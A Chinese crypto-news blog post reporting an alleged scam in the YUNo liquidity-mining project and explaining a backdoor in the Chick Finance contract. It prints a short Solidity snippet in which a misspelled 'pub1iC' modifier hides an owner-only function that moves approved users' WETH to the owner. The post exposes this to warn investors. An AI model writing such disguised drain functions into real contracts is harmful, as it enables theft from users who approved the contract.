Discord社区用户:YUNo是一个骗局,项目方可以盗取资金,有点怕怕哦.

 快报站长   2020-09-04 11:09   1785 人阅读  0 条评论

币圈快报:9月1日,Discord社区用户“sadcat”表示,流动性挖矿项目YUNo是一个骗局,他在代码中发现了无限增发的函数,项目方可以盗取资金。他还表示,他将自己的发现发到了YUNo的官方电报群里并被踢出了群。据了解,YUNo协议的代码尚未通过安全审计。


Discord社区用户:YUNo是一个骗局,项目方可以盗取资金,有点怕怕哦.-第1张图片-提供最新的币圈资讯_爆料各种区块链骗局

Discord社区用户:YUNo是一个骗局,项目方可以盗取资金,有点怕怕哦.-第2张图片-提供最新的币圈资讯_爆料各种区块链骗局

Discord社区用户:YUNo是一个骗局,项目方可以盗取资金,有点怕怕哦.-第3张图片-提供最新的币圈资讯_爆料各种区块链骗局

流动性挖矿的项目很多,投资者还是尽量选择那些经过代码审计的项目,否则你将很容易血本无归。


很明显之前也出现过合约代码问题,之前有个名叫chick finance的项目。下文来自比特派钱包。


任何给该合约授权了的用户,开发者都能把你钱包里的代币一扫而空(不仅仅是你存入合约的)。


funCtion startReward(address _from, uint256 amount) external pub1iC{

        WETH.safeTransferFrom(_from, owner(), amount);

    }


开发者对故意拼写错误的 pub1iC 做了如下约束(也就是只有合约 Owner 才能调用,如果没这个调用,那就变成谁都能干这事儿了,开发者想的是自己偷,肯定不想让别人偷)


modifier pub1iC() {

        require(isOwner(), "Ownable: Caller is not the owner");

        _;

    }

上述代码的逻辑很简单,干的就是那些给这个合约授权了的用户,合约 Owner 都能把你的代币转给 Owner,就这么简单。


对此给你们的建议就是在自己能承受的范围内参与流动性挖矿,不过目前的手续费比较贵,所以可能对于小资金玩家来说并不是那么友好。


量力而行。


本文地址:http://www.biquankb.com/post/331.html
温馨提示:文章内容系作者个人观点,不代表提供最新的币圈资讯_爆料各种区块链骗局对观点赞同或支持。
版权声明:本文为转载文章,来源于 快报站长 ,版权归原作者所有,欢迎分享本文,转载请保留出处!

 发表评论


表情

还没有留言,还不快点抢沙发?